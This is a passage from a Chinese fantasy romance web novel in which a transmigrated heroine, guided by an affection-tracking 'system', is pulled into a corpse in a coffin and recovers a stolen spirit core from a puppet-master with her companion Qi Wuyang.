下一次蛊还没发作呢,这家伙恐怕连她的的死法都想好了吧?!徐颂禾埋怨地从他身旁重重擦过,少年不设防备,被推得一歪身撞在门扉上。 ……还真是惜命得很,任何和性命相关的问题,她总能扯出一堆让他反应不过来的话。 屋子里乱七八糟一片,就连后屋里堆叠的村民尸体也都被翻了出来。头一回见到这么多的死人,徐颂禾强忍着巨大的哀恸和呕吐感,跨过他们,看向了空荡荡的角落。 “阿生呢?”她有些茫然地发问,心里忽然升起一股不祥的预感。 该不会是被那些宗门的人带走了吧?可是他们抓一个小孩子做什么呢? 她不确定地问∶“方才那些……也是流云宗的人?” “不是。” 徐颂禾眨了眨眼睛∶“你认识他们?” “不认识。” “那你怎么知道的?” “衣服不一样,”他轻飘飘的语气甚至让她以为是在述说昨天碰见了哪位故友,“当年想杀我的时候,他们喊的声音最大,跑得也最快。” “……” 徐颂禾决定不和他掰扯这个了,她着急地说∶“那现在该怎么办?我们要去找人吗?我担心他们是不是发现了这些傀儡,又看见只有阿生一个活人,所以认定了是他操纵的傀儡,想把他抓去为己所用?” 傀儡术一听就不是什么正向的能力,万一这一来弄得天下大乱了可怎么办? 正胡思乱想间,听见他不紧不慢地开了口∶“追上他们,并且在追上之后杀了他们把人抢回来,这两点你觉得你能做到哪个?” 徐颂禾无言以对了,她的视线挪到老婆婆身上,方才那些人一顿搜寻,弄得老婆婆脸上落了好多灰尘。 她慢慢蹲下身,拿出帕子擦净了婆婆脸上的灰。一看见那张和自己奶奶长得极像的脸,又想到这几日来对他们照顾有加,还总是和蔼微笑的人竟早就死了,心里就一阵难受。 可怜的一群人,明明是好心,却遭了这等劫难。 意识到脸颊有冰凉的液体滑过,徐颂禾背过身去擦了擦眼泪,不想被他看见。 “你哭了?”祁无恙投过来一个眼神,非常没有眼力见地问道。 “……没有。” “我的意思是,你有功夫哭,不如好好想一想要怎么逃出去。” 她刚想问这是什么意思,忽然间闻到一股淡淡焦味,猛地抬起头,眼中一片血红。 火势攀附着树木迅速蔓延过来,吞没大地的所有沟壑。 那群家伙走就走了,没搜到人居然还要放火! 徐颂禾伸出一只手,磕磕绊绊地说∶“你……你扶我一下。” 他似乎迟疑了半晌,最终略略俯身,勾着她手腕把她拉了起来。 她几乎是在起身的刹那伸手环抱住了他的腰,脑袋紧紧贴着他∶“你肯定有办法逃出去对不对?你不能抛下我,你要带着我一起走。” “……” 祁无恙微微往后一仰,听见她的声音从下方传来。 他按住她的手,声音冷下来∶“松手。” “我不松!你一定会扔下我自生自灭的。” 虽然好感度已经六十了,但这家伙一向难以揣测,刚才还说要杀自己,谁知道他这时候怎么想的?万一一会转身就飞走了,她靠着两条腿可逃不出去。 她抱得实在太紧,他从没和一个人有过这般举动,顿觉荒唐。 知晓他是谁的,要么盼着他死,要么绕着道走,偏偏唯独她,明明怕死得很,却在见过他杀人后,仍能如此信赖他,不要命似的往他跟前凑。 “你放手,我不会扔下你。” 徐颂禾死命拖住他∶“不要,在客栈里你就扔下我了,害得我差点死在流云宗的人手下,你知不知道?” ……她倒挺记仇。 周围温度越来越高,弄得她背后沁出了汗。徐颂禾诧异地抬起头,正疑惑他为什么还不走时,瞧见他弯了弯眼眸。 “你确定要这样?” 她点头如捣蒜。 蓦地,徐颂禾只觉环住他腰肢的手臂一空,下一刻,一股不容抗拒的力量揽住了她的肩t背与膝弯,将她整个人打横抱起。 “哎?!等等等一下……” 怎么变成这样了?之前不都是那样的吗?也没这么吓人啊! 惊呼声尚未出口,眼前景物疯狂倒退、模糊,化作一片融合在一起的扭曲色块,呼啸的风声从耳旁擦过,宛如某种野兽的怒吼。 “你还要抱到什么时候?” 当风声渐渐止息时,徐颂禾缓慢地睁开一只眼睛,觉得身体已经不属于自己了。 她松开手,才扶着树干勉强站稳,双腿就又忍不住软下去,弯下腰干呕起来。 祁无恙凝视着她几乎直不起来的腰,眼神微微一变,嗤笑∶“有那么夸张么?” 她好半晌才缓过劲来,瞪着他不说话。 要是有机会真的想把这个人带回家,让他也尝一尝飙快车是什么滋味! 忽然有几张符纸伸过来,徐颂禾不解地转头,看见他手里又多了带血的符纸。 这些不是都被阿生抢过去了吗?他怎么还有这么多? “给你的补偿,”他淡淡一哂,不容拒绝地将它们塞到她手里,“以后遇到危险,别再……” 不要再什么?不要再抱他? 她捏着那沓符纸,好奇地等着他的下文,他却止住不说了。 倏地,一阵唢呐声由远及近飘来,转头一看,只见五六名穿着素白长袍的人抬着一口棺材,他们头上戴着蓝头巾,远远地看去,一时辨不清男女。 徐颂禾赶紧拉着他往旁边让,这会天已经黑了,怎么还有人抬着棺材在路上走? 她正想着,忽然一阵风吹来,手里的符纸一个没拿稳,其中一张被风吹起,竟就这么顺着缝隙掉进了棺材里。 “诶?!” 徐颂禾睁大眼,刚伸出去的手又被按了回来。 “管它做什么?”祁无恙皱了皱眉∶“要多少都有,不必心疼这一张。” “我不是心疼……” 她话还没说完,忽地被人从背后一推,猛然向前栽去,踉踉跄跄的险些摔倒。 祁无恙随手扶住她,抬眼冷冷扫向那人。 “撞到人了怎么也不道歉……”徐颂禾摸了摸被撞得犯疼的胳膊,看见一个打扮相同的人匆匆忙忙地加入队伍里,一齐抬起棺材。 她闭口不说了,方才不小心把符纸掉进人家棺材里,已经够冒昧了,她还没道歉呢。 徐颂禾打了个呵欠,眼角泛出泪花∶“我们找个地方睡一晚吧,好累哦。” 这一次的地方倒还不错,很快就找到了一处干燥的洞穴,里面没有妖兽出没的痕迹。 她靠着石壁躺下来,回想着自己从穿书那天起,一共住了几天石洞,都快过成原始人了。 半梦半醒间,她听见身旁的人问了一句∶“你怎么只记我的仇?” 后面好像还有别的话,但她实在太困,勉强“嗯”了两声以示回应后,撑不住睡了过去。 不知过了多久,四周漆黑一片,似乎一点声音都没有了。 猛然间身下的地板震动了一下,徐颂禾惊醒过来,刚想坐起身看看发生什么事了,脑袋便撞上了一个又冷又硬的东西。 她茫然地看着周围,想开口唤祁无恙,却发觉发不出声音。 徐颂禾心头一悚,伸手四处摸索——触手皆是冰冷坚硬的木板,狭小得连翻身都困难。 她伸手向上摸了摸,上头有个板盖,用力一推,却是纹丝不动。 心里那股不安感愈来愈重,像潮水一般就要将她吞没。下一瞬,那阵失重感再次袭来,整个人随着猝不及防地一晃。 她这是还在做梦吗? 徐颂禾伸手在自己腿上掐了一下,痛感清清楚楚。 不对,这摸起来怎么有点奇怪…… 她正想给自己再来一下,手下忽然一滑,摸到了纸张一样的东西。 徐颂禾颤巍巍地抬起手,捻起那张东西,借着从缝隙里透进来的一点月光,看清了上面的血渍。 这不是祁无恙给她的符纸吗? 那她这是……被封在棺材里了啊?!—— 作者有话说:祁半夜碎碎念∶不是,我当初为什么要扔下她,媳妇你别只记我的仇啊[求你了]要怪就怪他们吧[愤怒] 随口一说的阿禾∶叽里咕噜说什么呢[问号]听不懂睡觉了 第35章 做噩梦了? 这个想法如电光火石般掠过脑海, 身下那块木板又剧烈晃动了一下,更糟糕的是,经过这么一晃, 头顶上的板盖微微挪动, 正好盖住了那点缝隙。 狭小的空间里彻底暗下来, 徐颂禾静静躺在冰凉的木板上,眼睛一眨不眨地睁着,方才的困意在此刻一扫而空。 她抱着最后一丝希望在头上一摸, 扯下来一顶蓝色布帽, 登时被眼下这荒唐的局面气得险些笑出声来。 谁能告诉她这到底是什么抓马剧情, 为什么只是睡了一觉的功夫,她醒来就又穿越了一次, 还……还穿到了一具尸体里?! 这是故意整她呢吧! “系统,系统?” 无人回应, 一片死寂中,只有她自己急剧的心跳声在棺材里回响。 她霎时间心如死灰——系统只绑定在她身上, 现在换了一具身体,就连系统也没了。 这回是真的只有她一个人了。 喉咙里发不出一点声音, 徐颂禾只好用力拍打四周, 试图通过这种方式让他们知道里面有人。 虽然棺材里的尸体死而复生这种事很惊悚,但她也实在没别的办法了,大不了出去后再好好解释解释, 信不信就由他们了。 可她捣鼓了半晌, 除了弄得手臂一阵疼外, 没有一点用处。 怎么回事?她都弄出这么大动静了,怎么外面的人还是察觉不到? 这棺材隔音效果这么好的吗? 徐颂禾摩挲着手里那张符纸,正踌躇着要不要用它把板盖给破开, 忽然间身子一斜,摸到了一个硬邦邦的东西,还有点刺手。 她蹙了下眉,缓缓移开手,一片光亮霎时映入眼中。 这是……一块会发光的石头? 她心里稍微有了点安慰,有光亮总是好事。刚把那石头拿起来,木板忽地剧烈一震,她措不及防一歪身子,重重撞在了棺材壁上。 外头像是没了声音,走路时摩擦出来的沙沙声也不见了。徐颂禾侧耳听了一会儿,猜测他们可能停下来了。 难道要发现自己了?她心里一阵激动,顺手将那块石头放回了原位。 随后又晃了几下,那几人重新抬着棺材往前走。 棺材里的空气越来越稀薄,她揉了揉发晕的脑袋,知道再不出去可能就要憋死在这里了。 她抬手举起那张符纸,正欲将其扔出去时,它却从指间抽离出去,旋即如八爪鱼般紧紧粘在了那块石头上。 “……” 徐颂禾试着拽了它一下,竟没能拿起来,她只好把整块石头移开,与此同时,抬着木棺的人又停了下来。 这一回,他们似乎开始有些躁动,甚至对棺材拳打脚踢起来,但就是没人把板盖掀开。 她被晃得难受,垂下手把它放了回去,外面的人立刻安静下来,无事发生似的继续前行。 看来问题全出在这块石头上了,徐颂禾暗暗烦躁,这种时候要是系统在,没准就能查出它的来历了。 “你的灵丹去哪了?” 脑子里没有任何理由地响起这句话,她懵懵地盯着那石头,心中隐隐有了一个答案。 这符纸上有祁无恙的灵力,它哪都没去,偏偏被这块石头给吸引了,那这东西是不是也和他有关? 徐颂禾咽了下口水,揣测着方才那个想法——这会是他的灵丹吗? 想到这,她立刻正襟危坐,如果这都是真的,那些人一定有什么不轨的图谋,来都来了,她要跟过去看看。 要是能帮他拿回灵丹,好感度是不是又能上升一点,这样离回家就可以更进一步了? 徐颂禾闭着眼睛,里面的空气不清楚还够她支撑多久,但愿这些人能快些把她放下来。 不知过了多久,大脑一片混沌,就在她觉得自己马上就要因为缺氧而晕过去时,忽然又是一阵晃荡,紧接着听见木板落地的声音——这具棺材被人放了下来。 耳边有脚步声响起,似乎正有人朝这边走过来。 她重新躺好,深吸口气,告诉自己不要紧张。 只要憋住气,不让来人发现异常就好了。 在她脑子反应过来之前,只听“轰隆”一声,眼前骤然恢复光明,但不过一秒的功夫,一张扁平的,布满斑点的脸瞬间压到面前,遮住了她的全部视线。 或许是一切来得太过突然,害怕的情绪甚至还未涌上心头,t徐颂禾使劲掰开他的手,探出头想看看这里是什么地方。 那人脸色一变,挥手向她压下一掌,重重击在了她心口。 胸口忽地一疼,她猛然坐起身,不知所措地看着四周,那颗心脏便如要跳出来一般。 “醒了?” 少年的声音掺杂在滴答滴答的落水声里,如一股清泉般,驱散了她方才的懵懂和恐惧。 她愣愣地抬起头,从对方的脚尖渐渐往上移动视线,最后撞进了那双沉默的黑眸里。 虽回到了自己的身体,但方才的余痛仿佛还在,令她一时无法平息。 “祁、祁无恙……”徐颂禾跌跌撞撞地爬起身奔向他,伸手拉住他衣角,用力攥得很紧,仿佛怕他跑了。 他微微蹙眉,扫视着她。 少女双手因慌张而控制不住地颤抖,额前碎发也被沁出的冷汗打湿了,无力地粘在上面。 只是睡了一觉,也不知怎的,醒来就变得这般狼狈。 徐颂禾盯着他看了好久,又伸出手,毫不客气地在他手上掐了一下。 “……” 祁无恙扯了扯唇,将衣角从那只手中抽出,捏起她下颌,低眸凝视她眼里的迷惘∶“你做噩梦了还是被人夺舍了?” “我、我不知道我说的你会不会信,”她组织了一下语言,结结巴巴地说∶“我昨天夜里醒来,发现穿到了棺材里的那具尸体上……” 她的脑子这时仍有些混乱,费了好半晌才把事情叙说清楚,也难为他没有半点不耐烦地听了这么久。 徐颂禾说完,见他没什么反应,顿时又急又气,用点力推了他一下∶“我说的是真的!那块石头肯定和你有关系!虽然没看清那个人要拿它怎么样,但我沿途留了些记号,你现在快点追上去,应当还能拦下他。” 他很快回应∶“我没说不信你。” “那你等我一下,我马上就回来。” 她退开一步,望见他身后有条小溪,便绕过他径自走了过去。 在棺材里憋得太久,有必要想个法子让脑子清醒一下了。 清凉的溪水溅到脸上时,那股不知是因缺氧还是惊恐而产生的灼热感稍微减弱了些,徐颂禾擦掉脸颊的水,两只手垂放在水里,盯着水面上的自己发呆。 她一时忘记了自己要做什么,只觉得水面上那张脸逐渐扭曲,最后竟糊成了一团。 ……看来还是后劲太大了。 祁无恙不经意间投去一瞥,便见她身子晃了几下,最后一歪身,就要向后摔去。 他几乎来不及思考,身体便已代他做出了反应。少女软绵绵地依靠在怀里,脑袋枕在他手上,冰凉柔顺的黑发从手边滑落时,甚至让他感到一瞬间的困惑——这溪水分明还在地面流淌着,怎么眨眼间便跳到了他手上? 祁无恙随手弹开急匆匆扑上来的小白,安静看了她半晌后,低低唤了一声∶ “……徐颂禾?” 这一下没白叫,她指尖动了动,吃力地掀起眼皮,却没力气坐起来,只在他胳膊上推了一下,气若游丝地说∶“你别管我啦,快去追他,我会去找你汇合的……” 一语未完,她只感觉脑袋越来越沉,最后支撑不住阖上了眼,双手无意识地垂放下来。 徐颂禾是被一阵刺鼻的味道熏醒的,再次睁眼时,那股头疼欲裂的感觉消失了,取而代之的是喉间即将抑制不住的呕吐感。 她捏住鼻子,在余光看清身旁的一张脸后,硬生生将一声呼之欲出的干呕憋了回去。 那张脸虽只见过一面,却已深深烙在了她的记忆中。 是他。 她居然又穿过来了,这回定要好好看看,他究竟想做些什么。 这时又有一道身影晃到自己面前来,徐颂禾赶紧收回视线,模仿着摆出和他一样的姿势站好,一动也不敢动,只敢用余光偷偷打量。 在看清眼前的那张脸后,她明显一怔,又悄悄把头转过去看了看其它人,顿时心下大骇。 这些人……怎么长得这么像? 一样的扁平脸,一样长满黑斑,她现在根本分辨不出,谁是打开棺材后拍了她一掌的人。 昨天晚上从他们身旁路过时,这些人个个身穿长袍,头戴布帽,遮得严严实实,天色又黑,压根没看清他们的模样。 对了,她穿到了这具身体里,不知道自己原来的身体怎么样了。嘱咐了要他先走,这家伙该不会真的就那样把自己扔在荒郊野外了吧? 万一来个妖兽什么的,她可不想和他一样四处找身体啊喂! 反正眼下也不好有什么动作,徐颂禾干脆任凭自己胡思乱想起来,顺便转移一下紧张的注意力。 昨夜那具棺材安安静静被放在地上,板盖敞开着,她往里瞟去一眼,竟发现里面已经没人了。 “你们当中出了叛徒,”蓦地,一人沉沉开了口,声音与常人无异,“都晓得是谁吗?” 其余人纷纷摇头,她也赶紧跟着摇了摇头,却总是慢半拍。 “是奔着它来的,”他夹着那块石头,脸上的肌肉动了动∶“再不出来,你可就再也拿不到它了。” 徐颂禾头都没敢抬一下,这种激将法对她可没用,对方抓不出她,应当暂时不会擅自动手,只要拖到祁无恙找过来就好。 正想着,忽然一阵疾风从手旁刮过,身边那人身子一晃,被重重拍在了地上。 徐颂禾僵硬地转移视线,那人已经没了气息,死之前甚至都未反抗一下,仿佛这都是他应受的。 鸡皮疙瘩登时蔓延全身,她转身想跑,可这具身体便像是被冻住了一样,动弹不得。 “哎——” 倏地,只觉凉风扑面,眼前所有事物瞬间杂糅在一起,余下的话被断在喉咙里。脖颈被人狠狠扼住,求生的本能迫使她用尽全力试图掰开那只手,可却丝毫不起作用。 那人冷冷一笑,收紧力道,不用多久便能把她掐死∶“找到你了,没有人能破坏我的计划。” “是么?” 层层围堵在门口的石块刹那间被击碎,徐颂禾感到禁锢着全身的钳制骤然松开,她狼狈地扑在地上干咳,近乎脱力地抬起眼。 少年逆光而立,衣袂在劲风中猎猎作响。他微微侧目,周身被一层淡淡的光芒笼罩,视线从容不迫地一扫,便精准地落到了她身上。 第36章 “有没有一点点喜欢我?…… “祁、祁……” 他能认得自己吗?徐颂禾想唤他, 可是喉咙里只能发出呜呜咽咽的声音,身体依旧软绵绵的,方才被掐脖子的痛感还在, 却无法动弹, 只能以靠在墙上的姿势, 带些绝望地看着他。 那扁平脸闪身躲开背后袭来的灵力,怒视向他∶“不管你是怎么找来的,我劝你不要多管闲事, 否则别怪我手下不留情。” 祁无恙踏进一步, 微微笑道∶“有人说你私藏赃物, 看你这表情,应该是真的了。” 那人拉下脸, 冷笑道∶“你是什么人?又是什么人在外胡说八道?” “我对你偷来的东西不感兴趣,”少年抬手指去, 淡淡哂笑∶“这些是你的傀儡吗?看上去不错,分一个给我如何?” “好啊, ”扁平脸侧身让开,道∶“看中了谁, 立刻带着给我滚出去。” 徐颂禾看向一步步走来的少年, 急得想马上拉住他,告诉他不能就这样走了,不管那是不是灵丹, 都是和他有关的东西, 必须要拿回来才行。 身体像被冻住了一般, 她只好眼睛一眨不眨地盯着他,祈祷他能认出自己来。 可对方只是用淡漠的目光朝她扫来一瞥,便从她肩旁经过, 随后他的声音从身后传来∶“他是你炼制得最好的一个了吧?舍得么?” 扁平脸不耐烦地挥手,一心只想把这突然闯入的不速之客赶走∶“随你,拿了便速速给我走!” 祁无恙的手随意搭在傀儡肩上,目光仍落在扁平脸这边,唇角勾起一抹浅淡的弧度,语气轻描淡写∶“去,杀了他。” 话音落下的瞬间,那傀儡蓦地转过身,如一发离弦的箭矢般,径直朝他的主人扑去。 扁平脸也未料到会有这么一出,急忙挥出灵力招架,却已慢了一步,被冲撞得接连后退。 “你……” 他的目光登时转为震惊,怒道∶“你究竟是什么人派来的?!又是谁传授给你的傀儡术?” 本以为只是个找茬的过路人,被灵丹的气息吸引过来,随便把他打发走便是,可没成想对方竟也会傀儡术。 祁无恙淡淡一笑∶“我说我方才使的是傀儡术了么?” 扁平脸闻言转头一看,只见那具他曾精心雕制的傀儡t正无声无息平躺着,手臂向上蜷曲,已经脱离了身体的一部分。 他瞳孔猛地缩紧——不是傀儡术,不过普普通通地一掷,便能有如此大威力,看来此人不可小觑。 “好,好得很,今日这桩闲事,你是管定了是不是?” 祁无恙扫了一眼墙边已经完全没有生气的身体,不置可否。 扁平脸见他死到临头还是一副无所畏惧的模样,怒极反笑∶“我本不想杀生,不过既然你执意寻死,那就只能怪你命该如此了!” 话音未落,那几具死尸蓦地直挺挺从地上站起,扭动着机械般的手臂朝他扑来。 少年侧身轻松避开一具傀儡直取咽喉的利爪,回身随手在他背上一弹,对方便如泄了气的海绵般栽了下去。 手上沾了灰的感觉很不好受,祁无恙微微蹙眉,满眼嫌弃地捻了捻指尖的脏东西。 眼下比弄脏手更棘手的事,恐怕还有另外一件。 在这具身体里待的时间久了,他能感觉到里面的灵力正不断流失,纸包不住水,若一直脱不了身,到时这里的任意一具傀儡,都有可能威胁他的性命。 祁无恙不动声色地收回手,笑道∶“我不过开个玩笑,你如此大动干戈,是想和他们一样吗?” “谁和他们一样,我劝你想好了再说。”扁平脸冷哼一声,缓缓招手,只见地穴四壁应声蠕动,阴影之中,数十具与之前一模一样的傀儡如鬼魅般浮现,如行尸走肉般向他逼近。 “你和那个人是一伙的吧?觊觎我宝物的人,不论是谁,都该死。”他冷笑道∶“你刚才那一下,是想逼我用灵力把她换回去,可惜了,方圆百里都是我的傀儡,她就算回去了,十有八九也会死在路上。” 祁无恙面无波澜地等他说完,随后皱了皱眉,一副苦苦思忖的模样,不紧不慢接过话∶“很多年前,我同另一个和你一样会操纵傀儡的人交过手,不过他的技术可比你高得多。阁下有功夫盗窃别人的东西,不如回去好好多练几年。” 扁平脸知他是在用激将法,也不再争辩,只往后一退,数只傀儡便如一堵堵不透风的墙,极速朝少年围拢。 祁无恙略略抬眸,最后一丝光亮被堵住的前一瞬,看见对方大笑着转过身,头也不回地纵身跳下山崖。 一个最擅长操纵人心的人,却死在别人的傀儡手下,传出去可真要叫天下人笑话。 他垂下手,指尖凝聚起一丝灵力,顺势将体内那股躁动之感压下。 看来这次选的身体太弱,连区区几个傀儡都难以应付。 “阿烬,你要记住,从今日起,你活着便是为了守护灵脉,与它共存亡,绝不能让它落入他人之手。” 女人怜爱地看着清瘦年幼的孩子,这一句极其温柔的话,是她临死前,在这世上给他留下的最后的遗物,却也困住了少年半生,让他几百年来,都只能为一个念想而活。 为何要守护?当年只要把灵脉交出去,所有人都可以不用死,到底是什么样的执念,竟让它胜过了人命。 他从没问过,来不及问,也再没机会问。 耳边利爪破空的声音骤然止息,少年指尖悬停在空中,困惑的目光穿过空隙,和匆匆奔来的身影交汇。 “祁无恙?” 徐颂禾迟疑地站在几步远的地方,怀里像呵护珍宝般抱着块会发光的石头,看着这些被定住的傀儡,不确定地又唤了一声∶“祁无恙,是你吗?” 瞧见有淡淡亮光透出来,她往里面走了几步,又小心翼翼地拨开傀儡的身体,看清对方后,眼睛亮了亮。 祁无恙眼睫颤了颤,在少女完完整整出现在自己视线里的那一瞬,极轻地“嗯”了一声。 “太好了,我还担心你万一换了身体,我会找不到你,”徐颂禾抬起手,晃了晃手心里的东西,眼里像盛满了星星∶“你看,我把你的灵丹拿回来啦——不对,还不知道这是什么,反正肯定是你的东西。” 看见对方微微怔愣的神色,她心里忍不住雀跃——幸好冒险把这东西拿回来了,他现在一定感动坏了吧?好感度是不是又要上涨了?照这个势头下去应该马上就可以回家了…… 祁无恙瞥见她脸上的血渍,眼神微微一变,勾唇嗤笑∶“还挺有本事,你怎么没死?” “……” 系统到底有没有搞错啊?不是说离她最近的人就是她的攻略对象吗?再看看现在,这是正常人能说出口的话吗?! 徐颂禾气得笑出了声,把东西狠狠扔在他身上,愤愤道∶“有你这样的吗?我好心回来救你,你诅咒我干嘛?” “没有诅咒你,”他揉揉眉心,被吵得有些头疼∶“我只是好奇,他们那么多人,你是怎么逃出来的?” “哦,你说这个,”一提到这,她的火气顿时削弱不少,说道∶“那要多亏你的符纸和这块石头了。那些人好像很怕你的东西,我一拿出来,他们就不敢靠近我了。” 这人说话讨厌归讨厌,东西倒是真好用,没有它,她刚刚可能早就被那些家伙拖死了。 掌心略有些硌应,伴随一股熟悉感,源源不断流入体内。祁无恙抬起眸,正好撞见少女满眼期待地看着自己。 “……怎么了?” 徐颂禾飞快地眨了下眼,问道∶“我帮你拿回了东西,还回来救了你,你欢喜吗?感动吗?有没有……” “有没有什么?” 她停顿了一下,决定直接问出口∶“有没有一点点喜欢我?” “……” 他微微偏头,眼底掠过一丝不解。 她一拍脑门——怎么把这茬给忘了?祁无恙一年到头都没和几个人接触过,哪里会知道喜欢是什么感觉? 不过这也真不能怪她着急,之前她还什么都没做,好感度就已经超过六十了,现在再加上这么一下,不得蹭蹭涨到七八十呀?那这时候再说一些亲密的话,又或是做一些亲昵的举动,岂不是很快就能攻略完成了? 回家的欲望总是令人激动不已,徐颂禾头脑风暴了一阵,随后说道∶“喜欢就是……你每时每刻都想见到她,想和她在一起。看见她和别人在一起会生气,会难受,这就叫吃醋。我先前还说过要教你认字,你要先记住这两个,我再教你。” 他似懂非懂的眼神让她很是为难——这种东西要她怎么解释好呢? 再者,这家伙看上去就不太想听她说这些的样子。 祁无恙视线于她脸上停留半晌,旋即垂下眼,默默看着那枚失而复得的灵丹。 虽只是一小块碎片,却也足以让他恢复不少灵力。 至于她说的什么喜欢,现在又莫名不说了,他不太懂,也不好奇,她的想法总这样让他捉摸不透。 蓦地,一抹温软毫无征兆地贴上了他的脸颊,他抬起目光,霎时间陷进那双清澈的眼里。 少女肆无忌惮地捧住他的脸,左右端详,又忽然踮起脚,猝不及防往他身前凑。 死水般的潭里仿佛忽然游进一条活鱼,少年黑曜石般的眼瞳轻轻颤了一下∶“你做什……” “你现在是什么感觉?”徐颂禾仰起脸凝着他,很认真地问∶“有没有觉得心跳加速,想不想拥抱我?” 第37章 把他给忘了 远处山峦的轮廓在湛蓝的天色中显得温柔, 凉风穿过林梢,她鬓边的一缕青丝被轻轻带起,扫过少年脸侧, 异样的酥麻感转瞬即逝。 “……” 徐颂禾固执地看他, 又问了一遍∶“你说呀, 有没有?” “……没有。”他几乎没有一点犹豫地回答。 她收回手,眼里的失落一点点消散开∶“系统,好感度有上涨吗?” 系统回应道∶“好感度仍为六十五, 请宿主再接再厉。” 什么?居然一点没动吗? 徐颂禾松开了手, 往后退半步, 有些失落地耷拉着脑袋。 算了算了,是她太急于求成了, 没动就没动呗,反正总会有攻略成功那一天的。 她倒是不追究了, 对方这时却背着双手,目光幽幽地看过来∶“你是如何从他手中把东西抢走的?” “那还得感谢你自己的东西认主啊, ”徐颂禾摸出剩下的符纸,塞回他腰间, “这上面有你的灵力, 它自己就跟着来了,我赶都赶不走,只好随便找了块像点的石头, 又把你的符纸贴在背面放回原位了, 幸好那个人暂时没看出来, 我就t趁机跑来找你了。” 她说的不假,方才祁无恙不知用了什么办法,一眨眼的功夫, 她就莫名其妙又穿回自己的身体里了。 徐颂禾从地上坐起来,迷惘地看着四周。 淙淙溪水从脚边流过,这里还是她晕过去的地方。合着让他不要管自己,他就真的就这样把她留在那了,亏她还一心想着他,这个没良心的家伙! 她在心里骂完,忽然感觉身下有什么东西硬硬的,起身一看,是那沓符纸。 算了算了,还是得回去找他,总不能让攻略对象死了吧? 她把小白抱进山洞里,又飞快找来几片叶子盖住它,做完这些后,朝她比了个噤声的口型∶“你乖乖待在这别出来奥,等我回来找你。” 小白伸爪在她手心挠了一下,似乎是想跳出来,蹦了几下后,最终还是听话地钻了回去。 她刚走出去两步,又想到些什么,折返回来贴了两张符纸在洞壁上。 徐颂禾蹲下身在它脑袋上轻轻拍了拍∶“虽然不知道你能不能听懂,但是这东西是保命用的,你可千万不能把它们撕下来啊,我不在身边,就靠它保护你了。” “叮咚,恭喜宿主,好感度加五,目前进度为65%,请继续加油。” 系统突如其来的喜报令她有些摸不着头脑——不是,什么都没做怎么突然就上涨了?难不成他心有灵犀,感应到自己要回去救他,所以提前感动了? 已经有好多次这样了,她摇了摇头,很快否认了心里一闪而过的想法。 像祁无恙这样的人怎么可能对她一见钟情呢? 徐颂禾不太明白,也没时间再想,她抱着剩下的符纸,沿着一路留下的痕迹往山上走。 远远的看见几个人影,她正想上前问问有没有见过一个少年,刚一走进,忽地发觉他们的样貌竟和那扁平脸一模一样,心里一慌,赶紧撤回脚,躲到一棵树后探出头来观察。 刚才就隔了几步之遥,幸运的是那些人好像并没发现自己。徐颂禾感觉到他们在大树旁停住了,于是屏住呼吸想听听他们会说些什么,可等了好半晌,仍旧一点声音都没有。 他们像群稻草人似的杵在原地,身体笔直,一动也不动。那场景看上去太过瘆人,徐颂禾摸了下手上起的鸡皮疙瘩,抬手用符纸遮挡住脸,装作无事发生般迅速开溜。 地上还残存着少许未化的雪,走起路来有些艰难,徐颂禾停下想喘口气,顺便回头看了看,这一眼瞬间令她浑身血液僵住。 方才那些傀儡竟不知何时追了上来,神不知鬼不觉的,如果不是回头看了这一下,恐怕她连被抓住了都不清楚自己是怎么死的。 她不敢再回头,拼了命般往前奔,从身侧刮过的劲风一下下撩动她的鬓发。 身后那群人像鬼一样阴魂不散,徐颂禾觉得自己仿佛变成了机器人,双腿明明已经累道几乎迈不开了,却还是一个劲的带着她跑。 眼前事物逐渐变得模糊,她凭借着最后一点力气,钻进一个被树叶半掩着的山洞里,又瞥见一旁有个木箱,想也没想便搬开板盖藏了进去。 胸腔里有一口气险些没喘上来,喉咙也疼得发紧。徐颂禾捂住嘴,尽量让呼吸放轻,又透过那一点缝隙,看见那群人追了过来,只是暂时没发现她的藏身地,眼下正杵在洞口面面相觑。 或许是迟迟找不到人,他们徘徊了一阵后,眼看便要相继离开。 徐颂禾见状稍稍安心了些,但悬着的一口气还没放下,便见那几人猛地转头,目光凶狠地朝她这边看过来。 怎么……回事?被发现了? 她一动也不敢动,只好死死盯着他们,手中的符纸都被攥得皱巴巴的。 头顶上的板盖倏地被掀开,她还未来得及反应,整个人便忽然不受控制地被一股力道吸引了出去。 “放开……我……” 她用力掰着扼在自己脖颈上的手,这一下来得太过突然,她力气用尽了,一只手无力地垂下来,攥着的符纸落了满地。 “系统,你的宿主要被人掐死了,快出来救命呀!”她只能把最后一点希望寄存在那破铁块身上。 “咳咳……” 忽地,那五根手指猛然松开,她被重重摔在地上,但也顾不得疼痛,使劲在石壁上一蹬,顺势滚到了洞外。 衣服被地上的碎石子划破了,丝丝冷意透进来,徐颂禾打了个寒颤,正想继续逃跑,却忽然发现他们全都停在原地不动了。 这难道是什么新战术吗?不过对付她要什么战术? 徐颂禾狐疑地盯着他们,一边慢慢挪动脚步,想借机逃走。 余光瞥到地上那一张张散乱的符纸,她顿觉一阵心疼——多好的宝贝呀,还能留着以后防身用呢,就这样浪费了。 况且也不知道祁无恙现在怎么样了,如果连他也应付不来,那这些符纸可就能派上大用场了。 见他们像被定住了一般一动不动,她深吸口气,试探着往前移了几步,随后伸手一捞,随意捡起几张符纸,抱在怀里便想跑。 正在此时,一只冰凉的手指从背后勾住了她的后领,徐颂禾挣了一下,飞快伸手甩出一张符纸拍在他脸上,那人便轰隆一声倒了下去。 她惊魂未定,手指还在微微颤抖着,猛地抬眼,只见其余人纷纷转过头来,像熟睡中的人忽然被吵醒似的,恶狠狠瞪着她。 “我……我不是故意的,我刚才根本没用力,你们要追我,还不如先救救同伴!” 她说完这句话,便转身想跑,可刚一转身,鼻尖就撞上一个冰冷坚硬的东西,紧接着一块巨大的阴影笼罩下来。 被……被包围了? 徐颂禾赶紧闭上眼睛,仿佛这样就能减轻疼痛。可旋即又是一声巨响,有什么碎片从她脸庞划过,留下一阵热辣辣的疼。 面前上一秒还伸出手要拍死自己的人,居然……居然活生生炸开了?! 她怀疑是自己临死前出现了幻觉,揉了揉眼睛,木木地看着满地碎片。 “……” 徐颂禾脑子一片空白,呆呆地说不出一句话来。她的目光被木箱里透出来的光芒吸引过去,被罩住的所有人都神色僵硬,紧随着又是“啪”的一声,一个接一个炸了开来。 ……有没有搞错啊?要让她在这看着这么惊悚的画面,还不如直接掐死她! 她不敢想象自己和这些人落得一样下场后会是什么样子,转身一口气走出老远,碎裂声仍远远地被风送进耳朵里。 “这里应该安全了吧?” 